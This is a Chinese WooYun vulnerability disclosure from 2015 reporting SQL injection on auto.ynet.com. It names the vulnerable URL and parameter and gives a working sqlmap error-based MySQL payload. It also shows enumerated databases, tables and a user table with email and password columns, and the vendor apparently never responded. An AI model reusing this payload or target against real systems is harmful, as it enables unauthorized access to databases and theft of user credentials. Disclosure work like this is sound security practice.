当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0125954

漏洞标题:北青网某分站SQL注入漏洞泄露大量用户数据

相关厂商:北青网

漏洞作者: 百度流氓

提交时间:2015-07-10 18:28

修复时间:2015-08-24 18:30

公开时间:2015-08-24 18:30

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:10

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-07-10: 积极联系厂商并且等待厂商认领中,细节不对外公开
2015-08-24: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

北青网下某域名北青汽车存在SQL注入漏洞,可导致大量数据泄露

详细说明:

北青网.汽车
http://auto.ynet.com/
注入点:
http://auto.ynet.com/cgi/newslist.php?dir=101

漏洞证明:

列举所有数据库:

sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: dir
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: dir=101' AND (SELECT 5309 FROM(SELECT COUNT(*),CONCAT(0x3a6163713a,(SELECT (CASE WHEN (5309=5309) THEN 1 ELSE 0 END)),0x3a6a74733a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'AFom'='AFom
---
available databases [3]:
[*] foodbq
[*] information_schema
[*] web_2_1


当前数据库表

Database: web_2_1
[40 tables]
+---------------------------------------+
| article_from |
| auto_ad |
| auto_bang |
| auto_beauty |
| auto_big_brands |
| auto_bqyc |
| auto_brands |
| auto_cars |
| auto_comment |
| auto_index |
| auto_photo |
| auto_subbrands |
| auto_zhuanti |
| baojia_4s |
| beauty_album |
| beauty_index |
| blank_data |
| complain |
| dealers |
| fenlei |
| fenlei_beauty |
| friend_links |
| global |
| index_car2013 |
| market_cars |
| navcode |
| navigation |
| news |
| news_top |
| polymorphic |
| sp_t28 |
| sp_t32 |
| sp_t33 |
| sp_t34 |
| sp_t35 |
| sp_t36 |
| temp |
| tempdef |
| tuijian_top |
| user |
+---------------------------------------+


当前数据库user表

Database: web_2_1
Table: user
[12 columns]
+----------------+
| Column |
+----------------+
| createdatetime |
| creator |
| cu_id |
| d_id |
| email |
| mender |
| mu_id |
| nick |
| passwd |
| published |
| savedatetime |
| url_1 |
+----------------+


截图部分用户账号数据:
email,passwd

QQ截图20150710164826.png


foodbq库表

Database: foodbq
[25 tables]
+---------------------------------------+
| article_from |
| auto_ad |
| auto_comment |
| auto_index |
| blank_data |
| complain |
| fenlei |
| food_person |
| food_right |
| food_topic |
| food_topic1 |
| friend_links |
| global |
| navcode |
| navigation |
| news |
| news_top |
| news_top1 |
| pic_defaults |
| polymorphic |
| sp_t28 |
| temp |
| tempdef |
| tuijian_top |
| user |
+---------------------------------------+


information_schema库表

Database: information_schema
[28 tables]
+---------------------------------------+
| CHARACTER_SETS |
| COLLATIONS |
| COLLATION_CHARACTER_SET_APPLICABILITY |
| COLUMNS |
| COLUMN_PRIVILEGES |
| ENGINES |
| EVENTS |
| FILES |
| GLOBAL_STATUS |
| GLOBAL_VARIABLES |
| KEY_COLUMN_USAGE |
| PARTITIONS |
| PLUGINS |
| PROCESSLIST |
| PROFILING |
| REFERENTIAL_CONSTRAINTS |
| ROUTINES |
| SCHEMATA |
| SCHEMA_PRIVILEGES |
| SESSION_STATUS |
| SESSION_VARIABLES |
| STATISTICS |
| TABLES |
| TABLE_CONSTRAINTS |
| TABLE_PRIVILEGES |
| TRIGGERS |
| USER_PRIVILEGES |
| VIEWS |
+---------------------------------------+


修复方案:

过滤

版权声明:转载请注明来源 百度流氓@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝


漏洞评价:

评论